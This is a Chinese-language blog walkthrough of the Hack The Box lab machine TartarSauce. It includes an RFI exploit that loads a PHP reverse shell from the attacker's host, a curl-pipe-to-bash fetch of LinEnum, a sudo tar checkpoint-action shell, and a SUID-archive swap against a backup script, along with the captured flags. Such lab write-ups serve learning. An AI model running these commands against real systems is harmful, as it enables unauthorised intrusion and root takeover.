美文网首页
TartarSauce Walkthrough

TartarSauce Walkthrough

作者: 静析机言 | 来源:发表于2024-03-28 18:27 被阅读0次

TartarSauce是Hack The Box的一个靶机,其利用手法比较新颖,要求熟悉tar的使用原理。当时做的时候,头懵懵的,特此记录下来,方便朋友们一起进步。

nmap扫描端口,发现仅有80端口,可访问到robots.txt。

由robots.txt可获得monstra-3.0.4管理员登录界面为http://10.129.1.185/webservices/monstra-3.0.4/admin/index.php

以admin/admin可以登录,但试了好几种monstra3.0.4漏洞利用方法都不成功,总提示“File was not uploaded”

gobuster搜索http://10.129.1.185/webservices,发现了wp目录

使用了wordpress,可用wpscan进行扫描。

注:执行如下扫描,提示没有任何插件

wpscan --urlhttp://10.129.1.185/webservices/wp -eap

ap  指所有插件

只有采用如下命令才能检测出插件

wpscan --urlhttp://10.129.1.185/webservices/wp -e u,ap --plugins-detection aggressive

--plugins-detection aggressive 使用较强的插件检测模式,以便在扫描期间能够检测到更多的插件漏洞

查看该插件的readme.txt

http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt

在该文件的Changelog部分发现了有趣的内容,由于wpscan会根据插件readme.txt的版本信息来检测是否存在漏洞,所以此处网站管理员为了避免被检测出漏洞,手动修改了插件的版本号,真正的版本号是1.5.3。

searchsploit gwolle

显示存在远程文件包含,从利用脚本知道访问如下URL

http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.17/test

Kali Linux监听80端口,可看到如下信息

等于在我们访问的test后面加上了wp-load.php字符。

知道了原理,我们修改php-reverse-shell.php,更改主机和端口,把名字改为wp-load.php

开启web服务器+nc监听1234端口

python -m http.server 80

nc -lvnp 1234

访问如下URL(修改/etc/hosts,建立IP地址和tartarsauce.htb的关系)就可获得反向连接

http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.17/

当前用户为www-data,连接到Kali Linux,运行LinEnum脚本进行提权

curl 10.10.14.17/LinEnum.sh | bash

找到可疑之处,onuma不用密码就能sudo执行tar

到gtfobins上找tar的sudo做法

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

由于是onuma才不需要密码,需要改成sudo -u onuma

/bin/bash显示效果比/bin/sh要好,最后利用语句为

sudo-u onumatar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

1、提交用户标志

7ec356c89f4e33bfab61ec66f82ccd8d

在用户onuma下,仍旧运行LinEnum进行提权

发现了一个可疑的systemtimer

执行locate backuperer,查找timer所在位置

我们将/usr/sbin/backuperer的内容拷贝下来,了解程序的含义

#!/bin/bash

#-------------------------------------------------------------------------------------

# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ

# ONUMA Dev auto backup program

# This tool will keep our webapp backed up incaseanother skiddie defaces us again.

# We will be able to quickly restore from a backupin seconds ;P

#-------------------------------------------------------------------------------------

# Set Vars Here

basedir=/var/www/html

bkpdir=/var/backups

tmpdir=/var/tmp

testmsg=$bkpdir/onuma_backup_test.txt

errormsg=$bkpdir/onuma_backup_error.txt

tmpfile=$tmpdir/.$(/usr/bin/head -c100/dev/urandom |sha1sum|cut -d' ' -f1)

check=$tmpdir/check

# formatting

printbdr()

{

    for n in$(seq 72);

    do/usr/bin/printf $"-";

    done

}

bdr=$(printbdr)

# Added a test file to let us see when the lastbackup was run

/usr/bin/printf $"$bdr\nAuto backupbackuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.

/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.

/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile$basedir &

# Added delay to wait for backup to complete iflarge files get added.

/bin/sleep 30

# Test the backup integrity

integrity_chk()

{

   /usr/bin/diff -r $basedir $check$basedir

}

/bin/mkdir $check

/bin/tar -zxvf $tmpfile -C $check

if [[ $(integrity_chk) ]]

then

    # Reporterrors so the dev can investigate the issue.

   /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran:  $(/bin/date)\n$bdr\n$tmpfile\n">> $errormsg

   integrity_chk >> $errormsg

    exit 2

else

    # Cleanup and save archive to the bkpdir.

    /bin/mv$tmpfile $bkpdir/onuma-www-dev.bak

    /bin/rm-rf $check .*

    exit 0

fi

—onuma用户执行sudo,将/var/www/html目录备份到/var/tmp下,并为其分配一个随机的SHA文件名

—为了完成备份,脚本将休眠30秒

—创建一个新的临时目录/var/tmp/check,并将tar提取到此文件夹中

—对/var/tmp/check和/var/www/html下的文件运行完整性检查。如果发现两者不一致,则输出错误信息到/var/backups/onuma_backup_error.txt;如果两者相同,则将/var/tmp下的备份文件移到/var/backups/onuma-www-dev.bak中,并删除/var/tmp/check目录。

我们的攻击计划是:创建一个带有SUID的tar文件,用它来替换在30秒睡眠时间之前产生的原始tar文件。后续如果提取了tar文件,将权限升级为root用户。

在本机上建立var/www/html目录

mkdir -p var/www/html

创建setuid.c文件

在本地进行编译到var/www/html目录中

gcc setuid.c -m32 -static-o var/www/html/suid

注:由于目标机为32位系统,我们需要使用-m32选项。编译前需要在本地安装gcc-multilib和g++-multilib。为了防止在目标机上运行程序时出现链接libc库版本不对,使用-static将其编译为静态链接的程序。

sudo apt-get install gcc-multilib g++-multilib

为suid设置SUID位,然后用tar将其归档到var/www/html/目录。

chmod u+s var/www/html/suid

tar zcvf suid.tar.gz var/

借助nc将suid.tar.gz上传到目标机

nc -lvnp 9001 < suid.tar.gz

nc 10.10.14.24 9001 > setuid.tar.gz

执行下述命令,每隔1秒显示当前执行的timer,当剩余5秒钟就可以开始操作了

watch -n 1 'systemctl list-timers'

将随机文件.415824fc54ec68fd05177c453d4bbdebcf02a672替换为上传的setuid.tar.gz

cp setuid.tar.gz .415824fc54ec68fd05177c453d4bbdebcf02a672

等待30秒睡眠后,将看到/var/tmp/下出现了check目录,此时可执/var/tmp/check/var/www/html/下的suid进行提权

2、提交root标志

4db485af1a778cdfabcb38941ee2eaf5

相关文章

网友评论

      本文标题:TartarSauce Walkthrough

      本文链接:https://www.haomeiwen.com/subject/bczutjtx.html